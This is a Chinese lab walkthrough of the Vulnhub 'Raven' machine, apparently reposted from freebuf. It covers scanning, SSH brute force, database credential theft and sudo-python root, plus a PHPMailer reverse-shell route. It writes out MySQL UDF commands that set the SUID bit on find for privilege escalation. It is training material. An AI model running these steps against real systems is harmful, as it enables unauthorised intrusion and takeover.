Vulnhub靶场之Raven – 作者:cloudcoll

一、环境搭建

靶场下载地址:https://download.vulnhub.com/raven/Raven.ova

使用vm打开,配置kali和靶场处于同一个网络,建议都为nat

二、信息收集

1、nmap扫描

  • nmap主机发现1606611155_5fc2f0d3f373cc539843e.png!small?1606611156848
  • namp主机扫描1606611262_5fc2f13e8c0db5019ed82.png!small?16066112630341606611282_5fc2f152d1597dc9eb64b.png!small

2、Web扫描

1、web界面1606635113_5fc34e6964bf36383aaf2.png!small?1606635115923

再service.html源码中发现flag1

1606635137_5fc34e81b9fc82b6ee243.png!small?1606635138018

2、目录扫描

1606635042_5fc34e222949d7f2521e0.png!small?1606635042484

访问wordpress

1606635088_5fc34e50479c289c617e1.png!small?1606635088636

使用wpscan枚举用户

1606635341_5fc34f4d39cec949fb5b7.png!small?1606635341416

1606635353_5fc34f59e0f475ba32adf.png!small?1606635354088

使用九头蛇+john的字典进行ssh爆破1606635508_5fc34ff4d10394df16587.png!small?1606635509166

三、漏洞利用

使用密码登入michael1606635578_5fc3503ad982838abe827.png!small?1606635579159

得到flag21606635792_5fc35110b9376703ab9c7.png!small?1606635793066

查看配置文件
1606635646_5fc3507e54dcbae2cf3cd.png!small?1606635646593

得到数据库账号密码R@v3nSecurity

1606635694_5fc350aec4881907d1877.png!small?1606635695016

登入数据库

1606635743_5fc350df8b0da7590966b.png!small?1606635743819

1606635852_5fc3514ce7bd703a3b10d.png!small?1606635853454

1606635881_5fc35169c9b08b35787f8.png!small?1606635882131

得到flag3、flag4

1606635929_5fc3519958e7eb8dc81f7.png!small?1606635929929

查询用户表
1606635977_5fc351c9cc3fe46e605ef.png!small?1606635978254

得到steven密码的密文 $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/

1606636104_5fc3524821d78e5b76896.png!small?1606636104349

md5解密得到明文密码

四、提权

查看michael用户sudo权限,该用户不能执行

1606636159_5fc3527f1ed35b3394958.png!small?1606636159264登入steven用户查看sudo权限1606636317_5fc3531d09373ed7a17b3.png!small?1606636317289使用sudo+python提权1606636455_5fc353a7384ae3040fefd.png!small?1606636455492成功提权,得到flag
1606636507_5fc353db673dabe58b053.png!small?1606636507737

其他方法:

1、PHPMailer漏洞

目录扫描

1606635042_5fc34e222949d7f2521e0.png!small?1606635042484

访问vendor目录1606636661_5fc3547566270861f1c7b.png!small?1606636661922

存在目录泄露,看到了PHPMailerAutoload.php,查看READEA.md

1606636771_5fc354e37d2daeed698f9.png!small?1606636771736

存在PHPMailer 5.2,再看看VERSION

1606636847_5fc3552f5124ab2dec4f8.png!small?1606636847565

百度这个版本的漏洞1606636882_5fc35552ea9be8ef1a821.png!small?1606636883243

1606636958_5fc3559e7603e97f03b24.png!small?1606636959046

修改目标和监听地址1606637296_5fc356f00fff6ec2f7724.png!small?1606637296400

使用python3执行py文件

1606637340_5fc3571c70a0f5f6b13e8.png!small?1606637340747

kali监听4444端口1606637382_5fc35746ef8b49bf4fe89.png!small?1606637383157

访问shell.php文件

1606637440_5fc357809f72ef0d790eb.png!small?1606637440930

成功反弹shell

1606637454_5fc3578e4e6c1221ad587.png!small?1606637454515

2、UDF提权

查看mysql权限

1606637966_5fc3598ec938afd1bb332.png!small?1606637967168

root权限,查看mysql版本

1606639202_5fc35e629e825adc6e5af.png!small?1606639202853

尝试udf权限

1606638067_5fc359f35e00bc01b48df.png!small?1606638067762

编译1518.c

1606642289_5fc36a71c414a7f143216.png!small?1606642290080

打开http服务1606642470_5fc36b26e1af82ad421df.png!small?1606642471120

使用wget上传到目标机器

1606645061_5fc375453ab622818efbf.png!small?1606645061627

use mysql
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

1606645840_5fc3785046dd432eac150.png!small?1606645840677

1606645858_5fc37862673d61732994c.png!small?1606645858714

成功提权

来源:freebuf.com 2020-11-29 18:34:00 by: cloudcoll

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论